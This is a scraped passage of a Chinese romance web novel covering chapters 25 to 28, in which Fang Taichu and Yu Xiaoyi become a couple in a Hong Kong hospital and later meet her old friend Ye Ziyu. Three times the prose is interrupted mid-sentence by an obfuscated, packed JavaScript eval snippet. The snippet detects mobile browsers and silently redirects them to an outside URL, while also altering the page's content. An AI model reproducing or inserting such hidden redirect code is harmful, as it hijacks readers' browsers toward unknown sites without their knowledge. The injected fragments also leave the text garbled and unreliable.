;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309771|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颈部啊什么的,物理降温而已。” 小初仍旧有点怔,即使不是那样也是这样,都是肌肤相亲,还分什么80%和20%吗? 这个该死的Wendy朱,她决定一会儿从医院回去就拧断她的脖子。也不知她收了余家人多少好处,要这样拿她来献祭。 当然,最可恶的还是余萧弋本人,他经过她同意了吗就这么照顾她?她人都在医院了,难道还会因发烧而死掉吗? 就算死掉,自有她家人朋友伤心,跟他又有什么关系。 护士看了眼体温计:“现在看着还好,接下来具体的治疗方案你还是要听听医生意见。我马上下夜班了,你有事按铃喊人就行。” 小初点头道谢。 护士一出门,她就进卫生间将自己简单洗漱了一番。还说什么无论怎样都要漂亮地活着,还没过一天,她就已经落到这个境地了,连保持干净都成了奢望,还谈什么其他的。 半个小时后余萧弋回来时,也已经不知在哪里清洗过自己,小初见他连发型都打理得清清楚楚,实在没忍住凝了凝眸。 不知怎么忽生出个念头来,她最好这辈子都能与他做朋友,否则他一定会是她最强劲的对手,让她在他手中吃尽苦头。 “生滚肉碎粥。”余萧弋帮她把吃的放在病床上的小桌子上,“还有拌菜心,另有一颗太阳蛋。” “多谢。” 余萧弋看她一眼,“这就要谢,那你该谢的还有很多。” 小初从善如流,“昨晚的恩德我也记在心上了,以后余少有什么需要的,我方太初肯定也义不容辞。” 余萧弋呼吸噎住,“你一定要一大早就这么气我?” 小初弯了弯眼睛,不再说话。 两人坐在一张桌子的对面各自吃了早餐。 余萧弋为自己买的是一份汤饭,小初已不是第一次和他一块吃饭,却再次在心里感叹了下豪门望族的教养,即便用餐环境这么简陋,却依然不掩他举手投足都不疾不徐,优雅从容 。 “你昨晚说梦话了。” 饭吃一大半,余萧弋突然说道。 小初顿了顿筷子,“我从不说梦话。” “你问我,余萧弋,你为什么要跟别人结婚。”他直视她眼睛。 小初心下一沉。 昨晚的梦早已碎成一万片消失在了记忆深处,但他这句话确实是她从昨天到现在痛苦的来源之一,她不敢太过笃定。 余萧弋却不打算再给她溜走的机会,“为什么会问这句?我在梦里做了什么对不起你的事了。” 小初掀眸看他一眼,脸颊已逐渐染了绯色。 他说的这什么话? 什么叫对不起她的事? 她和他有什么关系,说什么对得起对不起。 “该不会是梦见我听从家里安排去联姻了吧?” 小初黑白分明的眸子缓缓氤氲出一丝嘲讽来,“像你们这种家庭,联姻也很正常吧?小说都那么写的。” 余萧弋已抓住自己想要的东西。 他猜对了。 “可见小说作者根本不懂现实世界。你去查一下本港近二十年有头有脸的家庭联姻的夫妻有几对?仅有的那几对最后大多也都以悲剧收尾了吧?人就是人,无论生在什么人家,选择伴侣还是应该以情投意合为第一考虑吧?有钱人娶女明星的倒还多过联姻,你怎么不觉得我会喜欢女明星?” 小初咬了咬唇。 她就知道他根本不像他外表那么光风霁月,从一开始,他就是个目标明确的行动派,很会切入要害。 “因为你还没到喜欢女明星的年龄。” “我爸妈也是从同学到夫妻的,我爸到现在也没喜欢女明星。” 小初用筷子把太阳蛋夹成了两半。 “你在娱乐报纸上看到的那个要联姻的人,是我堂哥余珺彦。” 小初手一抖,一半的太阳蛋就从餐盒落到了桌子上。 “谁看娱乐报纸了!你真是自作多情到一定程度了,以为你们家是太阳呢,全世界的目光都要围着你们转?” 余萧弋挑眉笑,“没看就没看,你激动什么?”他从容夹起那半掉在桌子上的太阳蛋,“这个我帮你吃了。” “谁要你……” “我的这个给你。” 小初的话还未说完,余萧弋就把自己那个完整的太阳蛋夹到了她的碗里,“若我以全部真心换你半点心,你愿意吗?我all in,而你,就算输,也就只输这一半,如何?” 这,个,风,月,高,手! 她哪来的把握只用半点心就赢他所有? “怎么,方小姐不敢?” 小初不知怎么就被他激起好胜心来了,“我会不敢?” 余萧弋伸出手来,和小初握了握,“那就这么说定了,女朋友?” “……” 方太初还没太明白发生什么事,手就已经被他握在了掌心。 她这是,把自己给赌出去了? 26. 第 26 章 “我要提醒你,余萧弋。”方太初没有抽回自己的手,只是无比认真地看着他,“我个性太强,并不是一个太适合做女朋友的人。” “我也要提醒你,方太初。”余萧弋的眸子在晨辉的笼罩下泛着淡棕色的光芒,“我不是第一天认识你了。” 小初说:“确切点说,我不够温驯。” 余萧弋露出一个疑惑的眼神,“为什么要温驯?” “因为温驯是你们这样的家庭为儿子选择另一半最基本的要求。要温驯,谦和,忍让,在男人将来可能犯错的时候要以大局为重,不能把事情闹得太难看,除此之外,她最好还要有自己的事业和经济独立的能力,深谙扮演一个体面附庸的艺术。” 余萧弋沉思了一下,点点头,“我不否认,因为这就是人性,在高位待久了人是很难站在别人的立场上考虑问题的,利己主义无论在哪个圈层都适用。只是恐怕,世上并没有那么便宜的事,什么好处都想拿,下场只会很惨。” 这下倒轮到小初意外,“你倒是坦诚。” “我爷爷奶奶当初应该也是这么想的,结果就是小叔和小姑姑都错过了爱人,这辈子想必也就这样了。二叔倒是听了他们的话,十年后也离了。大姑姑嫁的外国人,暂时不在讨论范围,唯有我爸,找了个完全主导她的女人,反而婚姻最稳定。” 余萧弋大笑:“我妈也不温驯。” 小初问:“那她强势吗?” “放心,她很好相处的。”余萧弋掌心的力量加强了几分,神色暧昧,“就算不,还有我。” 一阵令人心悸难忍的酥麻痒意从两人肌肤相接处传来,小初有点想躲,却换来他直接越过隔在两人之间的小餐桌直接坐到了她身边来,手依旧没有放松,只是换了个更像牵手的姿势,那日拖了小半日手逛街的记忆袭来,小初腼腆地别了别脸。 “我有什么放心不放心。” 余萧弋问:“你妈妈呢,她温驯吗?” 小初想了想,摇头:“她不是温驯,是温柔,很少跟谁发生正面冲突那种,但内里极为坚韧有主见,并不是随便叫人欺负的类型。所以,外人都当我爸爸那么强势在家一定是说了算的那个,实际我妈妈治他只需要一个眼神。” “这个就叫一物降一物。” 小初想起很多父母在家相处的片段,唇边逐渐漾起笑涡,“没错。” 余萧弋又问:“这么说你爸妈性格还挺不一样的。” “就是不一样,所以他俩当初能相互看对眼我还挺意外的。” 提起父母,小初逐渐被安全感包裹,话也多了起来,“比如小时候,我要是在学校被人欺负了,我妈都是告诉我要好好沟通,找老师帮忙什么的,但我爸一定是叫我直接打回去,他来负责医药费。” 余萧弋眨眨眼,“我猜,你一定是听你爸的。” 小初瞪大眼睛看向他:“你怎么知道?” “我说了我已经不是第一天认识你了,还看不出你什么风格吗?我都怕我哪天真被你推进海里喂鱼。” 小初失笑:“那是我早参透了,我妈妈的教育理念的确有它的道理,但我爸的方法绝对更有效。小时候要不是靠这个方法,我早被人欺负死了。” 余萧弋眯了眯眸子,“他们为什么欺负你?” 小初不想提及父母离婚的那十年对她造成的影响,只淡淡说:“因为我漂亮呗,我小时候不夸张,是真的直接可以给各大品牌做童模那种,结果谁想得到……”她自嘲看了眼窝在病床上乱七八糟的现在的自己,“越活越没人样了。” “谁说的。”余萧弋在她的注视中露出一个甜笑:“现在也很漂亮。” 小初这才意识到两个人的距离已经近无可近了,近到她甚至可以数清他根根分明的睫毛了。 “你……”她不自然地吞了吞口水,“能不能不要离我这么近?” 余萧弋神色暗了暗,“所以,你是真的对我生理性厌恶吗?” 他想起她之前说的,因为不喜欢他,所以对他亲她很反感,甚至还吐了一场。 如果是这样,他确实要考虑下他是不是一定要强人所难了,毕竟,两个人想长久在一起,总不能一直柏拉图式恋爱,很多东西……他们避不开。 “没。”小初极快否认,却并不敢怎么直视他擅长蛊惑人心的眼睛,“我只是不习惯。”想了想又小声解释了一句,“还是喜欢的。” 既然答应了人家拿半点心出来玩,她自然也不能一点坦诚也不付出,只对别人的爱情电影冷眼旁观。 余萧弋不敢相信自己听到了什么,重复道:“喜欢?” “嗯,是喜欢的。”小初满脸少女的娇羞,“但我不想太快,因为我,不太相信一见钟情,不想自己的初恋太潦草,想好好开始,认真相处。”又小心问他:“可以吗?” “好。”余萧弋感觉自己这前二十几年从来没有像这一刻这样圆满过,眼底已在不经意中都是点点碎光,“方太初小姐,很荣幸出现在你的人生规划中。” 小初歪头,伸手抹了抹他眼角的泪。 没说话。 只让无言覆盖了这个重要的时刻。 恰好查房医生带着实习生推门进来,一群人根本没想到在病房还能看见小情侣深情对视的戏码,人性的八卦暂时战胜了职业道德,空气有好几秒都是静的。 最后还是随行护士先打破沉默:“两位,早晨换班的护士没跟你们讲医生查房前病房卫生要整理好吗?” “唔好意思。” 余萧弋反应过来,并三两下就收好了装着残羹剩饭的餐盒,将小桌板折叠到了病床的侧面,整个过程甚至没超过半分钟,速度快得让所有人都露出惊讶的神色来。 不过最意外的那个人还是小初,她实在是没想到平时养尊处优的大少爷做起琐事来手脚也会这么利落。 一副很有生活经验的样子。 认真看了下小初的一系列报告单之后,医生说她的血项还有些高,最好还是多输两天的液稳定稳定,否则后面说不定隔两天稍微着个凉又要烧起来了,病情反反复复反而容易引起更大问题,比如肺炎什么的,还不如一次彻底治好。 又问小初前几天有没有什么症状,小初这才想起她回京前已经烧了一次了,只是那次她没来医院,只自己随便吃了点感冒药。 医生一听更加坚定自己的想法,无论如何都要再帮她开多两天住院单。 小初一听让她住院就有些急了,“可我学校还有课呢。” 余萧弋说:“这个时候还管什么课,你就乖乖听医生话在这休息,公共课程请两天假又没什么,至于专业课,我去帮你听,记好笔记回来讲给你。” 小初愣住,还可以这样? 之前也没人跟她说男朋友还能当有声课堂笔记用啊! 总之这件事就这么不容她反对地定了下来。 接下来的两天,余萧弋几乎一直在路上,除了上两个人的课,他要充当外卖配送员以及私人教师,晚上还要做陪床护工。 第一天晚上还好,另一张床是空的,他好歹还睡了个好觉,第二天病房被安排了个阿婆进来,他没办法,只好学别人租了张折叠椅放在小初的旁边。 阿婆只有一个人,也没个家属陪同,白天倒是安安静静,只是晚上天还没黑就开启了呼噜震天模式,吵得两个人根本没法睡,只能面对面盯着对方的眼睛瞧。 相识以来的回忆不约而同在两人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309772|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑海里一帧一帧倒退着,最后终于停在他们曾在绮丽的那次对视的画面上。 小初想起的是:“方小姐你已经很发财了,不用再往前看了。” 她也是在这一瞬才品出些不对来,他又不知道她家境,是怎么断定她已经很发财了的?所以那句话,究竟只是一句简单的恭维,还是说,他那会儿就已经有点喜欢她了? 因为喜欢,所以自动把他的钱也视作和她有关? 这是什么超绝恋爱脑啊! 他那时候甚至才认识她不到两天! 余萧弋想起的则是她游完泳后湿漉漉的头发以及和他对视时湿漉漉的眼神。 她是那么容易害羞。 却一直用虚张声势的方式保护着她不想被人看到的脆弱和柔软。 余萧弋的眼神不自觉染了几分心疼,伸手摸了摸她的脸,小声问:“是不是很吵?早知道应该换间单人病房的,只是那天来的时候情况太紧急,就只有现在这间。” 小初却没放在心上,只是笑着揶揄他:“哎,Theo余,你是不是长这么大第一次知道公立医院的病房是长这个样子的。” 余萧弋扬了扬下巴,眼神极为傲娇:“你看不起谁,就算没住过,我还没看过新闻报纸和影视剧吗?前几年有一部很出名的医疗剧,我为了看它还熬过两个通宵,你不要把人想得太不食人间烟火好不好?” 小初笑出声来,“你还追剧呢?” “你都能喜欢毛绒公仔,我为什么不能追剧?” “……” 熄灯时间到,房间陷入黑暗。 余萧弋收回手,枕在自己头下,轻声说了句:“晚安。” “嗯,好梦。” 两人都没再说话。 房间里阿婆的鼾声依旧很响,却不影响他们都知道对方很久都没有入睡,甚至眼睛都是睁着的。这是他们人生第一次这么近的距离躺在一起,近到只要动动手指,就可以感受到对方的呼吸和体温。 第三天医生终于大发慈悲放小初出院。 自从来了香港之后,她就没有这么放松地休息过,虽说在病房里也没耽误她看论文和复习笔记,但总算不必疲于奔波。 她感觉她这三天至少胖了三斤,应该足够哄下周抵港布展的黄亦玫开心几天了。 出院这天是个周末,天气异常晴朗。 小初在病房的卫生间简单洗了个澡,等余萧弋帮她办好出院手续上楼来的时候,她已经变了个模样,脸上再无一丝病气,并且因为胖了三斤看上去更明媚了几分。 余萧弋的目光凝住。 小初装作不经意,“走吧,请你吃饭去,感谢你这两天无微不至的照顾,余学长辛苦了。” 余萧弋为难地低头看了看自己:“你确定吗小姐,我都两天没换衣服了。” “哎呀,不要在意那些细节,我请你吃饭的餐厅还不至于因为着装问题就把你赶出来的。”小初大笑,扯过书包。 “你最好不是在哄我。”余萧弋自然而然接过她的书包,背在了自己身上。 两人下楼。 小初住的医院是她们学校附属的医院,除了服务公众外,也供医学生们上课和实习,比如有些解剖课和实验课什么的。 不过在今天之前她从未认真想过这个问题。 直至,她和余萧弋在楼下直面碰上叶子瑜。 彼时,叶子瑜正拄着单拐从台阶上蹦上来,每一步,都艰难得令人心酸。 他身边并没有跟着女朋友。 小初定住。 差点忘了怎么呼吸。 一个多月没见,他剪了个极其贴头皮的发型,看着,锐利了好多。 眼神也更阴郁了。 27. 第 27 章 叶子瑜似乎也没想到会在这碰见她,一时立在原地,停在两级台阶中间,饶是面上的笑容再亲和,也难掩眉宇间的尴尬。 最后还是余萧弋快几步跑了下去,一把扶住了他,语气老熟人一般的自然,“叶同学是来复查吗?下次如果没有朋友陪同,一定要给我和……”他顿了顿,也没太想好要给女朋友取个什么样的昵称才显得亲密又不矫情,“和小方打电话,我们两个去接你。” 小初眉心一跳,很有些无语。 此刻的他看着既心机又做作他自己知道吗? 叶子瑜意味深长地看了两人一眼,也没拒绝,大大方方就着余萧弋的手臂上了台阶,在小初面前停住。 小初关切地问:“你好点没?” 叶子瑜笑,语气松松垮垮,和好多没什么正形的北京男孩别无二致,“还行,离残废还有点距离,生活自理什么的没有问题。” 小初睨他:“你的阿沅怎么没陪你来?” 原本她这句话也没什么酸涩和意难平的意思,但也不知道怎么听上去还是有点怪,连她自己都觉得怪,她更不敢去思考另外两个男人会怎么想。 人果然还是离前任远一点为好,免得碰了面大家都尴尬,平常的对话也像是含沙射影,心累。 叶子瑜说:“她上班。” 小初奇怪:“今天不是周末吗?” 他笑:“打工人的世界你不懂。” 叶子瑜这句话或许本来也没有别的意思,可落在小初耳朵里却多了一层,像是在嘲讽她大小姐做惯了,不识人间疾苦,又像是再次表明两人已身处不同世界,根本不必再强行产生交集。 小初脸色顿时有些难看,忍了又忍还是没忍住,呛声道:“叶子瑜你给我好好说话。怎么,你现在是连朋友都不想跟我做了吗?要不要我请个见证人来帮我们划清界限,从此老死不相往来?” 余萧弋眯着眸子看了她一眼。 说完她又觉得自己似乎有点太激动,空气静默下来,她不太敢看余萧弋此刻的表情,只能硬着头皮继续说下去:“我们好歹也是十几岁到现在的交情,更别说你这条腿还是因为我才受伤的,刚刚余同学没说错,你要是有事需要帮忙就给我打电话,我手机二十四小时都开着机,你的阿沅又要上班,家里还有个上幼儿园的小朋友,你就算需要帮忙也不丢份吧?” 叶子瑜没想到他只说了一句话她反应会这么大,一时也有点懵,不过下一秒他还是大喇喇笑了:“不至于吧,方太初,你想深了。” 小初说:“你瞅你现在这个德行,剪个圆寸就以为自己是痞帅小爷了啊。” 叶子瑜更无奈了,“小姐,我只是没空出去剪头发而已。” 小初对此不予置评。 叶子瑜叹口气,也没避讳余萧弋,“我爸上上个星期来香港出差,顺道来看我了。” 小初愣住,继而如梦初醒:“他看见阿沅和孩子了?” 叶子瑜苦笑着点点头。 “那他说什么了?” “没说什么。”叶子瑜仍笑着,“就说我果然跟我那个妈一样,只会让人头疼。” 小初蹙眉:“这话太过分了,你爸好歹也是个公司高管,就算说气话也要有个限度吧。” 叶子瑜耸耸肩:“他说得倒也没错。” “后来呢。” “从我那个小公寓下去,还没上车就发了消息过来,说是我要再这么下去,接下来几年的学费就别再找他。” 小初和叶子瑜几年好友关系,岂会不知道他的心结,不禁同情地拍了拍他的手臂,“你别多心,他只是说气话,并且有点无能狂怒的意思,等再过几年你自己挂牌成了医生,年入百万,你看他还敢不敢拿钱来威胁你。话说回来,做父母的,看见子女找的另一半年龄大那么多,还结过婚有孩子,脸色肯定都不会太好,你既然当初做了这个选择,也早该料到这一天的。” 叶子瑜笑出声来,“方太初,以后你肯定是极会给员工画大饼和打鸡血的那类老板。” 余萧弋敏锐地看向小初,心脏重重坠落下去。 他倒是没有特别在意叶子瑜的存在。 他只是隐隐觉得,和叶子瑜的过去有所连接的那个方太初,是他完全不认识也不了解的另一个人。 他们之间的默契和情谊,或许是他无论花多少年,付出多少努力都追不上也覆盖不掉的。 然后他又问自己,为什么会产生“覆盖”这个念头呢?明明,在最开始喜欢上她的时候,他就没有在意过她的过去,可为什么,他还是如此嫉妒,嫉妒到快要发疯,却又那么无力,无力到快要碎掉。 小初没否认,“Maybe。”又问叶子瑜,“后来呢?” “后来?就上个星期,连筝也来了一趟。”叶子瑜低下头去。 小初问:“连筝说什么了?” “连筝倒是没说什么。”叶子瑜抬起头,眼角有点湿,“她只是说……”他别过头去,半晌才忍住声音里的颤抖,“说,一个人只有极爱另一个人,才能视对方的孩子如己出,她能理解我。” 小初也陪着湿了眼睛。 “连筝阿姨很爱你。” “她更爱的那个人是我爸。” 小初抿抿唇,“这也是应该的,她肯定是先爱上你爸,才爱屋及乌爱上你的,不是吗?顺序就是这个顺序,要是乱了倒奇怪了。” 叶子瑜说:“要是亲妈,就不会说这句话。” 小初心里涌起一阵难过,她知道他一直崇拜和喜欢连筝,但无论如何于静才是那个真正怀胎十月辛苦将他生下又养大的人。 这么多年他夹在其中,无论偏向哪一方都有不忠不孝的嫌疑,现在远远逃走了,倒也是个不赖的结局。 于是跟他说:“你别理会他们上一辈的恩怨情仇了,多顾好自己,快点毕业,早点独立。” 叶子瑜点头:“知道。”又问她:“你来医院干什么?” 小初笑:“还能干嘛,生病呗。不过只是小病,现在已经好了。你呢,是来复查吗?要我陪你进去吗?” “不是。”叶子瑜看了看表,“我一会儿有节实验课,不来不行。” “哦。”小初有些意外,“那你快去吧。” “行,那我走了。” 叶子瑜跟余萧弋点了点头,一步步拄拐远去了。 他走了很远,小初仍望着他的背影发着呆。 她活了这么大,也算是顺风顺水,可直到最近她才逐渐明白,无论人出身于什么家庭,处于什么境地,都有自己需要面对、别人帮不上忙也解决不了的人生课题。 比如叶子瑜,林佳宜,梁培风,甚至朱慧雯。 “喂,小姐,他已经不见了。”余萧弋的语气酸酸的。 小初浑然不觉,只是莫名其妙问了他一句:“Theo余,你平时有什么烦恼吗?” 余萧弋愣住:“什么?” 小初摇摇头,笑了笑,觉得自己有些太无厘头了,他年纪轻轻就已经要风得风要雨得雨,还能有什么烦恼? “算了,当我没问。” 余萧弋说:“有啊,怎么没有。” 小初好奇看向他。 “比如爱而不得什么的。” 小初思考了一下:“所以你之前还有追别人失败的历史?” “??”余萧弋向前一步,不动声色贴近她的耳朵,“我到底是做错了什么会给你这样的印象?” 耳边他的呼吸很有煽风点火的嫌疑,小初躲了躲,斜睨他:“没有,我都答应和你交往了你还什么爱而不得?” “……” “莫非你爱的还另有其人?” 余萧弋没想到她还有如此不讲理的一面,一时只觉得心旌摇曳,什么猜忌和不安都没有了,眼神也不自觉柔软下来,语气甚至有点撒娇,“还请我吃饭吗?” 小初咬了咬唇,最终还是决定不和他计较了:“你想吃什么?” 他的目光只流连在她的唇上,“都好。” “那就吃日本菜吧,那边刚好有一家。”小初指了指马路对面的招牌。 “Ok。” 两人手拖手过马路,脚步轻快地越过路面上的铁轨。不远处刚好一辆红色复古的叮叮车驶来,余萧弋悄悄掏出手机,突然喊了声,“方太初”。 小初不知发生什么事,懵懵然抬起头来,下一秒,两人的合影就已出现在了他手机里。画面中他笑得灿烂,小初瞪着大大的眼睛,因为两人都在移动中,所以镜头有点晃,叮叮车倒是红得很有氛围感。 “这是我们第一张合影。”余萧弋得意非凡。 小初凑过去,态度严谨,“看得出我大病初愈状态还不太好,而你两天没换衣服,有点狼狈。” “方太初你好煞风景。” 小初大笑。 余萧弋又问:“我可以Po到IG上吗?” “不可以。” “为什么?”余萧弋有些委屈,“你不想和我一块出现在社交软件上,是吗?” 小初说:“不是不想和你,只是单纯不想。” 她向来克制,朋友圈多个分组,大多数状态和照片都只有少数人可见,不是她防备心太重,而是她实在不宜在太多人面前暴露隐私。 她这种含着金汤匙出生的孩子,对于那些仍需要自己很努力才能过上好生活的同学来说,本来就已经够不公平了,再过多表达,就是一种伤害了。 靠炫耀自己和伤害别人来维持优越感,是她最不屑一顾的东西。 秀恩爱就更加不必,她又不知道她究竟能和他走多远,何必刚有眉目就昭告天下,给自己惹一身麻烦。若是真有缘分,还怕将来结婚请柬上没有双方的名字吗? “朋友圈也不发?” “不发。” 余萧弋抿抿唇:“方太初,我是第一次谈恋爱,你可别骗我。” 他那些朋友,比如铭仔, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309773|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是每次恋爱都恨不得甜疯一群人的。 “你为什么执着这个?”小初不太理解把私人感情解释给外人的意义。 “不是执着……只是锦衣夜行,未免太……” 他还未说完,小初就蹙起了眉,“所以你把我当成一件可以炫耀的物品?” “不是!”余萧弋慌了神,连澄清的话都有点语无伦次,“我绝不是那个意思!好吧我承认我是有点虚荣心作祟,但你也要想想,我也是活了这么大,才遇到一个自己喜欢的人,我高兴得不知道该怎么表达,恨不得全世界都来羡慕我,我怎么会……怎么会把你当成一件物品?你要是真那么想我,未免也太看轻我!” 什么嘛…… 他这个圈子的男孩谈恋爱,都是女方想尽办法要名分,急着公开,怎么到他这全反过来了? 小初仔细看了他半晌,直至确认他不像是撒谎,才揶揄道:“我早说了吧,我个性太强,根本不适合做谁乖甜娇软的小爱人的,你偏不信。” 余萧弋用力把她揽入怀中,声音几乎是从后槽牙发出的,“谁要什么乖甜娇软?” 小初气他,“你,你们。” “刻板印象最害人。” 小初说:“你衣服有种味道。” 余萧弋立刻跳到两步开外去,脸色像中了毒,“什,什么味道?” “医院的消毒水味。” “……” 小初歪头看向他,笑得几乎花枝乱颤,“不然呢,你以为是什么味道?变质奶酪味吗?” “方太初!”余萧弋终于忍不了了,上前来一把拥住她,也不管什么街上人来人往,对着她就亲了下来,亲一下还不够,是连着亲了好几下,亲完还没忘问她:“怎么样,想吐吗?” 小初浑身已变成蔷薇色,用手背掩住唇,脑子里突然都是那天地铁站里亲昵的小情侣。 以及耳机里传来的那句:“ Cause I''m falling slowly love with you ”。 原来幸福的感觉如此相似。 “我饿了。” “好,去吃饭。” 两人一块上了三楼。 这家日料店环境很清幽,两人选了间榻榻米风格的小包间,一掀开布帘,就被里面古朴的和式风情吸引了目光。 “想吃什么?”小初坐下,将菜单递过去,“别跟我客气。” 余萧弋有些好笑地看她一眼:“还真你请我啊。” 小初点头:“当然。” 余萧弋帮她倒了杯茶,“你病刚好,还是不要吃生食了。” 小初说:“你点你的,我自己会看着办,他们这又不是只有生食。” “方太初,你塞给我的那叠港币我还没来得及花呢,谈恋爱还给男人花钱的,你是第一个。” “我要纠正你,那个时候我还没和你谈。” 上菜速度很快。 日本菜和韩国菜一样,就算没点什么像样的东西,杯盘碗盏也足够媲美国宴。 小初促狭伸了伸手:“请吧,余学长。” 余萧弋微笑,笑容却没有温度,“我不是余同学吗?” 小初不明所以,奇怪地看了他一眼,“什么?” 她调整了下坐姿,足尖却不小心触到了什么,反应了几秒,她才意识到那是他的腿。 木质餐桌下的空间狭小而局促,两人的腿都太长,难免交|叠触碰。 头顶昏黄柔和的灯投射下来,她看见他的眼尾似蝴蝶振翅一般极为迅速地颤抖了一下,尽管很轻,但还是被她抓了个正着。 气氛瞬间暧昧下来。 “我说,你刚刚不是跟叶子瑜介绍我是余同学吗?” “……” 这个小气的男人。 最后没办法,她还是配合他拍了张两人手指交叉围成一个心形的照片任他Po到了他的IG上。 两个人的手指都很修长,无需露脸,美感已拉满。 “哦对了,你是不是还没有Follow我?”余萧弋Po完图正打算@她,才想起他们还没有互相关注这件事来。 小初喂了一口烤鳗鱼给自己,两颊鼓鼓的,“不好意思啊,我没有IG账号。” 而后她笑:“你看咱俩,有没有点像FM和AM?” “什么FM和AM,你现在给我注册一个。” “有必要吗?” “没有吗?” “有,有吗?” 余萧弋瞪她。 “好吧,有。” 他又问:“烤鳗鱼甜吗?” “甜的。” “比我呢?” 小初实在受不了了,直接夹了一块喂给他:“你自己尝尝不就知道了。” 他慢慢吃掉。 眼底温柔蔓延。 “嗯,甜疯了。” “……” 这恋爱要不还是送给别人谈吧。 28. 第 28 章 吃了饭,两人一前一后走到日料店楼下。 说好了一个回学校宿舍,一个去家里位于中环的金融控股公司点卯的,余萧弋却始终牵着小初的手不肯放,叮叮车一辆一辆驶过,他还在有一搭没一搭和她说着话。 他的手很大,掌心有种低温的灼热感,无声无息却连绵不绝,每次微微收紧的动作,总要引起小初心脏一阵律动失调。 她也是至此才知道,他之前所谓的偶尔生活费不够了还要做做兼职是什么意思,原来兼的是继承者的职。 不过这也无可厚非,他们这样家庭的孩子,本来就要权利和义务对等,包括她,难道就能做到只享受光环而罔顾责任吗? 时间已荒废了太多,小初看了看表:“我得回去了。” “嗯。”余萧弋垂下视线:“真的不要我送吗?” “不要啦!”小初有些好笑地推了他一下,“你当我们在演偶像剧吗?送来送去麻不麻烦,我又不是不识路,快走快走,都这个时间了,其实你已经迟到了。” 余萧弋抿唇认真看向她:“真不会怪我?” “为什么要怪你?” “男朋友理应多花时间陪陪女朋友。” 小初无比认同地点点头:“偶像剧里的男女不需要考虑吃饭问题,时间不浪费一下确实可惜。” 余萧弋反应了一秒才意识到她在揶揄他,不禁没好气地揉了揉她的头发,“方太初,你总是和别人不一样。” 小初扬了扬下巴,“我又不是别人,为什么要和别人一样。” 余萧弋想了想又说:“不然,你陪我去上班?反正今天周末。公司楼对面有个商场,你可以逛逛街喝喝咖啡,或者找个安静地方看看书,我大概五点就能走人,然后我们去吃饭,吃饭后去海边吹吹风,或者也可以去剧院看看电影。” 他表现得这样难舍难分,小初倒笑了,朝他眨眨眼,“余萧弋,你是不是想养我?” “嗯?”余萧弋怔了怔,下一秒耳垂已红透,脑子里不自觉跳出很多温情画面,“我当然要养你……男人养家养……老婆不是应该的吗?我答应你,以后一定会很努力很努力的。” 小初打断他不合时宜的旖旎联想,“可是你形容的那个我,也不怎么像妻子啊,倒是有点像某些剧里窝在沙发上等男人回来宠爱的Amazing Lover。” “……”余萧弋呼吸一滞,“我没有那个意思。” 小初继续漫不经心地说道:“你在金光闪闪的写字楼里奋斗,我却只能百无聊赖消磨时间等你下班,不像吗?” 余萧弋去捏她的脸:“越说越离谱!” 小初笑着躲开,向后靠在路边的树上,双手交叉抱在胸前,“想养我也可以,只是我有点贵。” 有些基调,还是一开始就定好了比较好,免得他得意忘形,不知所谓。 “我知道。” “不,你不知道。” “那……有多贵?” 小初不答,反问,“公司现在给你的月薪是多少?” 余萧弋仔细想了想,认真答:“没去看工资单,不过应该和其他同Level的职员差不多,肯定不会超过两万块。” 小初笑,“所以,你怎么养我?养我的话,一个月乘以一千倍,你几时能做到?” 余萧弋愣住,继而又有些恍然,唇角微不可察勾了勾,“所以那个男人可以做到?” 他脑子里此刻已经全是小初扑在那个男人怀里往他名贵西装上蹭眼泪的情景。 这下轮到小初堵心。 气氛开始有些微妙。 “他确实可以。”小初气得要命,一秒钟都不想再继续看见他,“我回学校了。”叮叮车驶来,她看也没看,直接跑到站台上迅捷一跳,并隔着车窗朝他摆摆手,“再见Theo余。” 叮叮车是两层的构造,她拾阶而上来到顶层,找了个人少的角落坐了下来,掏出蓝牙耳机,塞进耳朵里打开音乐,世界终于安静。 播放器播放的刚好是他爸妈复婚的婚礼上黄亦玫唱过的那首《Memory loves you》,一首非常深情又非常个性的歌,有种娓娓道来的故事感,像是在向全世界宣布,有情人终将成眷属。 方太初无声轻笑了一下。 叮叮车开始启动,窗外的街景电影般一帧帧闪过,她脑子里不由自主想起了他们婚礼那天黄亦玫头上那条迎风飘飞出两米的头纱。 那么圣洁。 那么美。 美得现场所有人都热泪盈眶。 旁边一个年轻女孩哭到不能自已,大声喊着:“这就是爱情啊!” 只有她没哭。 不是她不开心,她当然比谁都开心。在姥姥保留的她幼儿园时期的简笔画里,爸爸永远穿着西装,妈妈头上永远别着纱,而她牵着两人的手,眼睛弯弯像月牙。 那个画面,曾是她遥不可及的梦。 